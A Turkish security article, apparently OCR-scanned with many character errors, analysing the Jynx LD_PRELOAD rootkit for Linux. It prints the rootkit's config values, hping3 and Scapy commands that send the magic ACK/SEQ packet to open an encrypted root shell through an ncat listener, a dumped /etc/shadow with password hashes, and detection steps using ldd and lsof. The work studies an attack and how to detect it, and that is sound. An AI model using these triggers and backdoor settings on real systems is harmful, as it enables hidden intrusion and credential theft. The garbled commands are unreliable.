Jynx Rootkit

JYNX ROOTKIFE

Ister Network, ister tek bir
bilgisayar olsun, izinsiz girig
erisimi saglayan kisi, sistem
tizerinde goriinmezlik
isteyecektir. Bunun i¢inde
cesitli yollara basvurabilir.
Goriinmezlik iksirinin en
biiylik kaynagi Rootkitlerdir.
{/*‘Rootkit nedir?’ sorusuna
iliskin eski yazima bakabilirsiniz(Referanslar)*/}

*nix sistem lizerinde algilanmamak i¢in kullanilan temel islem, bash basina bu isi gérecek
gerekli Rootkit aracini yiiklemektir. Rootkitleri sisteme entegre etmek i¢in kullanilan en
onemli bagvuru kaynagi Kernel Modiiliidiir. Kotli amagla yazilan ve Cekirdege eklenen
modiil, saldirganin yakalanma riskini en aza indirir.

Fakat LKM nin(Linux Kernel Module) bir tehlikesi de sudur; sistemde gizli olmak yerine
hatali bir islem yapilirsa ansizin “Kernel Panic” uyarisiyla sistem tamamen kilitlenir.
Neticesinde silipheli bir durum olusur. Diger bir yontem ise yakalanma durumunu en yiiksek
noktasina ¢ikaran islem; orijinal dosyalari(¢alistirilabilir), Rootkitin dosyalariyla yer
degistirmektir(Orn: netstat uygulamasmin degistirilmesi). Bdylece sisteme girilen komut,
sistem yOneticisini sasirtir. Sahte ¢iktilar {iretir. Ayn1 zamanda Rootkit yakalama araglari
tarafindan kolay tespit edilir(Orn: rkhunter).

Son zamanlarda Linux {izerinde ¢alisan dikkate deger Rootkit aracina pek rastlamryordum.
Fakat “Jynx Rootkit” adl1 yeni Rootkit dikkatimi ¢ekti. Bu arag sisteme kuruldugunda
kendini herhangi bir dosya ile yer degistirmez. Kendini sisteme kiitiiphane kayd1 olarak
tanimlar. Bir uygulamanin diizgiin ¢alisabilmesi 6ncelikle uygun kiitiiphanenin yiiklenmesi
gerekir. Kiitliphane olmaz ise uygulama ¢alismaz. Nedeni de uygulamaya ait fonksiyonlarin
yerli yerine oturmamasidir. Ornegin; “ps” komutuyla sistem iizerinde ¢alisan siirecleri takip
edebiliriz. Peki; “ps” uygulamasinin ¢alisabilmesi gerekli kiitiiphaneler nedir?

# 1dd /bin/ps
linux-gate.so.1 => (0xb783e000)

libproc-3.2.8.s0 => /lib/libproc-3.2.8.so0 (0xb7801000)
libc.s0.6 => /lib/tls/i686/cmov/libc.so0.6 (0xb76a7000)
/lib/1d-linux.s0.2 (0xb7831000)

Bu 6rnekten yola ¢ikarak; Jynx Rootkit, kendini bir kiitiiphane(sisteme yeni, beyaz bir sayfa
actirtyor ©) olarak tanitip, bazi fonksiyonlar1 denetim altina alarak(hook) kullanicilarin(root
da dahil) géziinden baz1 durumlar1 saklamaktadir. Hal bdyle iken sistem iizerinde ne gibi gizli
aktiviteler gergeklestirilir? Oncelikle; Rootkitlerin standart dzelligi olan, dosyalarin
gizlenmesi ve sisteme uzaktan baglant1 noktasinin da tespit edilememesini saglar. Dosyalarin
gizlenmesi i¢in Rootkit; belirli dosya/dizin adlaria kars1 tepki verir. Saldirgan kendi
dosya/dizin isimlerini belirli formata gore tanimlarsa dosyalarin algilanmasini engeller.
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Uzaktan sisteme baglant1 asamasinin gizlenmesi i¢in ilging bir taktik gelistirilmis. Baglanti
gerceklestiren uygulama “bc” adi altinda tanimlanmis. Rootkitin bir pargasi olan “be”
calistirildiginda sistem iizerinde herhangi bir port agmaz, Backdoor(arkakap1) olusturulmaz.
Saldirganin sistem iizerinde kontrolii saglayabilmesi i¢in bazi sartlarin gerceklesmesi gerekir.
Orneklemeyi yazinin ileriki asamalarinda anlatacagim. Jynx Rootkit dosyas: temel olarak 2
dosyadan olusur(derleme asamasindan sonra). Bu dosyalar(isimleri degistirilmedigi siirece);

Id poison.so

“config.h” dosyas1 Rootkitin bir yol haritasidir. Saldirgan konfigiirasyon dosyasini
diizenleyerek, kendisine has yapilandirma gergeklestirir.

# more config.h

#ifndef CONFIG_H

#define CONFIG_H

#define MAGIC_DIR "bal1k"

#define MAGIC_GID 1003

#define CONFIG_FILE "/d.so.preload"
#define APP_NAME "bc"

#define MAGIC_ACK 0Oxdead

#define MAGIC_SEQ Oxbeef
IHdefine DEBUG

#endif

ootkit/Jynx-Kit# 1s -la
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Jynx Rootkite ait dosyalar.

Yukarida belirtilen 6rnek konfiglirasyon dosyasinda “ballk” gizlenecek dizini(saldirgana ait
dosyalar bu dizinde olur) belirtir. “Id.so.preload” dosyasina Rootkitin ana kiitiiphane dosyas1
tanimlanarak Rootkitin aktivasyonu saglanir. Igerigi “ballk” kelimesi olan dizin/dosyalar

gizlenir. Sistem bu kelimeyi dikkate almaz. Bdyle bir dizin hi¢ olusturulmamis gibi goriiniir.

#1s -la/ denildiginde Rootkit kurulu dizini saklar.

# 1s -la /ballk

Is: cannot access /ballk/: No such file or directoryj
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# 1s -la /etc/ld.so.preload

Is: cannot access /etc/1d.so.

preload: No such file or directory

Saldirgan, Rootkit kurulumunu sagladiktan sonra her daim sistemi kontrol etmek isteyecektir.
Kontrol i¢in sessiz bir baglanti islemi gergeklestirmesi gerekir.Normal bir arkakapi(Backdoor)
islemi sistem lizerinde iz birakir. A¢ik birakilan port dikkat ¢eker. Jynx Rootkitin pargasi olan
“be” ile paket dinleme modu aktif hale getirilir, sisteme TCP Paketi igerisine ACK numarasi
Oxdead ve SEQ numaras1 Oxbeef olan bir isaret gonderilirse paketin gonderildigi sistem ile
arasinda baglant1 kurulur. {letigim sifreli gerceklesir.

Saldirgan ile Sistem arasinda nasil bir baglanti kuruldugunu gérelim.
Izinsiz giris yapilan sistem “bc” ile dinleme moduna almir. “ps” komutu ile bu uygulama
tespit edilemez. Calisan siireglerde goriinmez.

#ballk# ./bc eth2

Saldirgan kendi sistem iizerinde(1. Konsol penceresi);

hacker@lcd557:~$ ncat -1 9090 —ssl {/*ncat uygulamasi, nmap in bir par¢asidir*/}
ncat ile kendi lizerinde veri iletisimi i¢in 9090 nolu portu dinlemeye alir.

Su an kars sistem ile baglanti asamasina gecebilir(2.Konsol penceresi).
Baglant1 i¢in ACK ve SEQ numaralari belirli bir yapiya sahip sinyal/paket/ gonderildiginde
ncat ile dinlemeye alinan port {izerinden sistem ile sifreli sekilde haberlesir.

root@lcd557:/home/hacker# hping3 193.x.x.17x -s 9090 -M Oxbeef -L Oxdead -c 1 /* 2. Konsol */

HPING 193.x.x.17x (ethO 193.x.x.17x): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=193.x.x.17x ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.4 ms

--- 193.x.x.17x hping statistic ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 0.4/0.4/0.4 ms

hacker@lcd557:~$ ncat -1 9090 —ssl /* 1. Konsol */

Is /* SEQ ve ACK numarasi dogru ise */
ballk.txt /* baglant1 iglemi gergeklesir */
be

be.c

config.h

1d_poison.c

1d_poison.so

Makefile

packer.sh

README

telnet.c

id

uid=0(root) gid=90 groups=0(root)
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Peki baglantinin gergeklesmesi i¢in gonderilen sihirli sinyal(TCP Paketi) sadece hping araci
ile mi olusturulur?
Scapy ile 6zel bir yapida basit bir paket olusturularak saldirgan Jynx Rootkit kurulu sisteme
baglant1 yapabilir.

Bunun i¢in asagidaki islemleri yapabilir.

root@lcd557:/home/hacker# scapy
Welcome to Scapy (2.0.1)

>>> 1=[P()
>>>1.dst="193.x.x.17x"

>>> t=TCP()

>>> t.sport=9090

>>>t flags="A"

>>> t.seq=0xbeef
>>> t.ack=0xdead
>>> send(i/t)

Sent 1 packets.
>>>

Saldirganin bilgisayarinda hazir durumda bekleyen ncat komutunun bulundugu kisim ile
baglant1 gerceklesir;

hacker@lcd557:~$ ncat -1 9090 --ssl
id
uid=0(root) gid=90 groups=0(root)

pwd
/bal 1k

more /etc/shadow
root:36SNW..ADTTS$OLcDu8111GleCuNSvYCi7e2DNok3GiY3ZF5sCnqk4..Ts8/:15211:0:99999:7:::
daemon:x:15204:0:99999:7:::

bin:x:15204:0:99999:7:::

sys:x:15204:0:99999

sync:x:15204:0:99999:7:::

games:x:15204:0:99999:7:::

man:x:15204:0:99999:7:::

1p:x:15204:0:99999:7:::

mail:x:15204:0:99999:7:::

news:x:15204:0:99999:7:::

uucp:x:15204:0:99999:7:::

proxy:x:15204:0:99999:7:::

www-data:x:15204:0:99999:7:::

backup:x:15204:0:99999:7:::

kdz-eregli:$6$L1IGeHCtc$mHv1e/nn4KW VmuIRjBJRTO . jlprtQZKMNwTXHPS8¢ilJ.:15211:0:99999:7:::
master:$65kitqVK66$.h2f3Ba.HopS VaT3feNStBsY4VHONVk1UNipV68gUP7h/:15222:0:99999:7:::
dhcpd:*:15267:0:99999:7:::
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Tespit islemi /* Gizli bir seyler var sanki....*/

Sistemde yer alan kiitiiphaneleri tamamiyla
tantyamayabilirsiniz. Hangi kiitiiphane ne ise

yartyor tahminde edemeyebilirsiniz. \O
Fakat basit birkag islem ile Jynx Rootkit tespit

etme ihtimalimiz var.

root@bt:~# 1dd /bin/ls

librt.so.1 => /lib/tls/i686/cmov/librt.so.1 (0xb76e6000)

/ballk/ld_poison.so (0xb76cb000) <- - - incelenmesi gerekir.
libacl.so.1 => /lib/libacl.so.1 (0xb76¢2000)

libc.s0.6 => /1ib/tls/i686/cmov/libc.s0.6 (0xb7568000)

libpthread.so.0 => /lib/tls/i686/cmov/libpthread.so.0 (0xb7541000)

/lib/1d-linux.s0.2 (0xb7708000)

libdl.s0.2 => /lib/tls/i686/cmov/libdl.s0.2 (0xb754b000)

libattr.so.1 => /lib/libattr.so.1 (0xb7545000)

1dd komutuyla bir sonug elde edemezsek.” Isof” komutuyla bir adim ileri gidebiliriz.
root@bt:~# Isof | grep "\.so"

gnome-pty 2228 root mem REG 8,17 193078 /ballk/ld_poison.so (stat: No such file or directory)
gnome-pty 2228 root mem REG 8,17 113964 262187 /lib/1d-2.11.1.s0

bash 2229 root mem REG 8,17 1405508 266620 /lib/tls/i686/cmov/libc-2.11.1.s0

bash 2229 root mem REG 8,17 9736 266626 /lib/tls/i686/cmov/libdl-2.11.1.s0

bash 2229 root mem REG 8,17 223768 262270 /lib/libncurses.so.5.7

bash 2229  root mem REG 8,17 193078 /ballk/ld_poison.so (stat: No such file or directory)
bash 2229 root mem REG 8,17 113964 262187 /lib/1d-2.11.1.s0

bash 2450 root mem REG 8,17 1405508 266620 /lib/tls/i686/cmov/libc-2.11.1.s0

bash 2450 root mem REG 8,17 9736 266626 /1ib/tls/i686/cmov/libdl-2.11.1.s0

bash 2450 root mem REG 8,17 223768 262270 /lib/libncurses.so.5.7

bash 2450  root mem REG 8,17 193078 /ballk/ld_poison.so (stat: No such file or directory)

Isof ¢iktisinda yer alan “/ballk/Id_poison.so (stat: No such file or directory) “ satir dikkatimizi
biraz daha yogunlastirmamiza sebep olur.

root@bt:# Is -la /ballk
Is: cannot access /ballk/: No such file or director < - - - ballk dizini yok(mus) !!!

root@bt:# readelf -r /ballk/ld poison.so
readelf: Error: '/ballk/ld poison.so': No such file

“ld_poison.so” kitabini sistemin okumasini saglayan bir belirte¢ olmasi gerekir. Bu belirtec;
/etc dizininde yer alan “Id.so.preload” dosyasidir.
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root@bt:# 1s -la /etc/1d.so.preload

Is: cannot access /etc/ld.so.preload: No such file or director <---- dosya yok mu?
root@bt:# cat /etc/ld.so.preload
/ballk/ld poison.so <----©

“ld.so.preload” dosyasina tanimli olan “ld_poison.so” par¢asini ¢ikaralim. “ld.so.preload”
dosyasini 6zgiir biraktigimiz andan itibaren hersey belirginlesmeye baglar.

root@bt:/etct Is -la /

total 136

drwxr-xr-x 27 root root 4096 2011-11-14 06:57 .

drwxr-xr-x 27 root root 4096 2011-11-14 06:57 ..

drwxr-xr-x 2 root root 4096 2011-11-15 03:00 ballk - DIKKAT
drwxr-xr-x 2 root root 4096 2011-11-15 06:36 bin

drwxr-xr-x 3 root root 4096 2011-10-27 06:52 boot

drwxr-xr-x 2 root root 4096 2011-03-05 11:41 cdrom

drwxr-xr-x 17 root root 3760 2011-11-15 01:41 dev

drwxr-xr-x 166 root root 12288 2011-11-16 04:42 etc

root@bt:# cd /ballk/
root@bt:/ballk# Is -la

total 36

drwxr-xr-x 2 root root 4096 2011-10-24 08:51 .

drwxr-xr-x 27 root root 4096 2011-11-02 09:52 ..

-rwxr-xr-x 1 root root 13050 2011-10-24 08:51 be ool
-rwxr-xr-x 1 root root 11993 2011-10-24 08:51 1d poison.so koo

root@bt:/bal1k# strings Id_poison.so

_ Ixstat
__Ixstat64
open
rmdir
__xstat

_ xstat64
unlink
fdopendir
readdir
strcmp
snprintf
libc.so0.6

fdopendir
opendir
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readdir
readdir64
ld.so.preload <---- Yikle ve gizle...

ballk - - --7777 Hepsini gizle
/proc/%es

Jynx Rootkitin ana dosyalarin1 ve sisteme kurulumun sonrasi neler gergeklestigini gordiik.
*nix sistemlerde izinsiz erisim saglayan kisinin(kisilerde olabilir) Rootkit entegre etme
olasilig1 her zaman mevcuttur. Gizlilik temel prensiptir.

Tacettin KARADENiIZ
tacettink {(@ } olympos.org

Referanslar

/* Jynx Rootkit */
http://www.blackhatacademy.org/releases/Jlynx-Kit-Pub.tar.gz

/* hping */
http://www.hping.org/

/ *Scapy */
http://www.secdev.org/projects/scapy/

/* Goriinmez Misafirler: RootKit */
http://www.olympos.net/belgeler/rootkit/gorunmez-misafirler-rootkit-126362.html
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